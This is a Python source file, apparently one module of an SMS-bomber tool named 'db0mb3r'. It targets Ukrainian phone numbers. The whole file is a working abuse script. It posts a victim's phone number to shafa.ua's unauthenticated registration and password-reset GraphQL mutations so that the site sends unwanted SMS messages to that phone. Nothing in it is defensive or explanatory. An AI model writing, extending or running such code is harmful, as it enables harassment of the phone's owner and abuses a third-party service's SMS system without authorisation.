shafa.py 1.3 KB

12345678910111213141516171819202122232425
  1. from db0mb3r.services.service import Service
  2. class Shafa(Service):
  3. phone_codes = [380]
  4. async def run(self):
  5. await self.post(
  6. "https://shafa.ua/api/v3/graphiql",
  7. json={
  8. "operationName": "RegistrationSendSms",
  9. "variables": {"phoneNumber": "+" + self.formatted_phone},
  10. "query": "mutation RegistrationSendSms($phoneNumber: String!) {\n unauthorizedSendSms(phoneNumber: $phoneNumber) {\n isSuccess\n userToken\n errors {\n field\n messages {\n message\n code\n __typename\n }\n __typename\n }\n __typename\n }\n}\n",
  11. },
  12. )
  13. await self.post(
  14. "https://shafa.ua/api/v3/graphiql",
  15. json={
  16. "operationName": "sendResetPasswordSms",
  17. "variables": {"phoneNumber": "+" + self.formatted_phone},
  18. "query": "mutation sendResetPasswordSms($phoneNumber: String!) {\n resetPasswordSendSms(phoneNumber: $phoneNumber) {\n isSuccess\n userToken\n errors {\n ...errorsData\n __typename\n }\n __typename\n }\n}\n\nfragment errorsData on GraphResponseError {\n field\n messages {\n code\n message\n __typename\n }\n __typename\n}\n",
  19. },
  20. )